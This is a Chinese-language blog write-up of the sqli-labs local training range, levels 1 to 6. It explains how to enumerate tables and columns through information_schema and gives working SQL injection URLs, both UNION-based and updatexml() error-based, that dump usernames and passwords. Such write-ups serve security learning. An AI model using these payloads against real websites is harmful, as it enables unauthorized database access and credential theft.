sqlilab本地靶场注入less-1~less-6

如何通过information_schema数据库查表名,列名

首先要了解mysql和mariadb数据库默认自带的tables有哪些:

mariadb自带数据库

information_schema

performance_schema

mysql

MySQL自带数据库

information_schema

performance_schema

mysql

sys

test(可选,默认自带)

其中information_schema可以查到表名,列名,了解其过程:

use information_schema; #切换当前数据库为information_schema

show tables; #查看当前数据库内的表名

information_schema中要注意这三个表:tables,columns,schemata

首先我们desc这三个表,查看其具体表结构

查看tables表内的table_name,table_schema,发现name包括了所有数据库的表名,schema包括了所有表的所属数据库名--重复的很多

select table_name from tables;

select table_schema from tables;

同tables,columns表内的column_name包括了所有表的列名,table_name,table_schema相同

我们再查看schemata表,发现schema_name中包括了所有的数据库名

所以可以通过where table_schema='security'来进行精确查找某数据库(security)的表名

也可以通过where table_schema='security' and table_name = 'users'来精确查找某数据库内某表的列名

至此,表名列名我们都获得了,就可以查看某数据库内某张表的具体数据了

sql简单注入

个人理解:在url中写入sql语句同时绕过闭合字符,让mysql在数据库内执行该语句既是sql注入

通过order by语句列名排序可以用数字来代替列名,同时让数字超过列名数量,从而达成报错,可以得知当前表的列数,比如less-1中列数为3

通过联合查询(表1 union 表2)来查看显示字段的是第几列

#表1和表2必须列数相同,如果表1无法显示,则会显示表2

select 1,2,3创建显示简单表,但是2,3这些数字可以用函数来代替,而且会显示该函数执行结果

如上图,可获得当前数据库名和当前用户

Less-1:#'id' --闭合字符为' '

http://127.0.0.1/sqli/Less-1/?id=0' union select 1,group_concat(username,0x3a,password),3 from users--+

#其中group_concat()函数能将一列数据在一行内显示

less-2: #id 相比less-1,缺少了'的闭合,即没有闭合字符

http://127.0.0.1/sqli/Less-2/?id=0 union select 1,group_concat(username,0x3a,password),3 from users--+

less-3: #('id')

http://127.0.0.1/sqli/Less-3/?id=0') union select 1,group_concat(username,0x3a,password),3 from users--+

less-4: #(" id ")

http://127.0.0.1/sqli/Less-4/?id=0") union select 1,group_concat(username,0x3a,password),3 from users--+

less-5: #'id' + 报错函数updatexml()可用

http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

#substr()函数可以显示一段字符串中,可以从哪个字符开始显示,往下显示多少个字符,从而解决updatexml()函数报错最多只能显示32个字符的问题

less-6: #"id" + 报错函数可用

http://127.0.0.1/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1) --+

相关推荐
ReedFoley42 分钟前
【笔记】动手学Ollama 第五章 Ollama 在 LangChain 中的使用 - Python 集成
笔记·langchain
吱吱企业安全通讯软件2 小时前
吱吱企业通讯软件保证内部通讯安全,搭建数字安全体系
大数据·网络·人工智能·安全·信息与通信·吱吱办公通讯
云边云科技4 小时前
零售行业新店网络零接触部署场景下,如何选择SDWAN
运维·服务器·网络·人工智能·安全·边缘计算·零售
rainFFrain4 小时前
Boost搜索引擎项目(详细思路版)
网络·c++·http·搜索引擎
AOwhisky4 小时前
Linux 文本处理三剑客:awk、grep、sed 完全指南
linux·运维·服务器·网络·云计算·运维开发
青草地溪水旁6 小时前
网络连接的核心机制
网络
花开富贵贼富贵6 小时前
计算机网络技术学习-day4《路由器配置》
网络·智能路由器·php
Mr Sorry7 小时前
Non-stationary Diffusion For Probabilistic Time Series Forecasting论文阅读笔记
论文阅读·笔记
南猿北者8 小时前
Cmake学习笔记
笔记·学习·策略模式
绵绵细雨中的乡音8 小时前
网络基础知识
linux·网络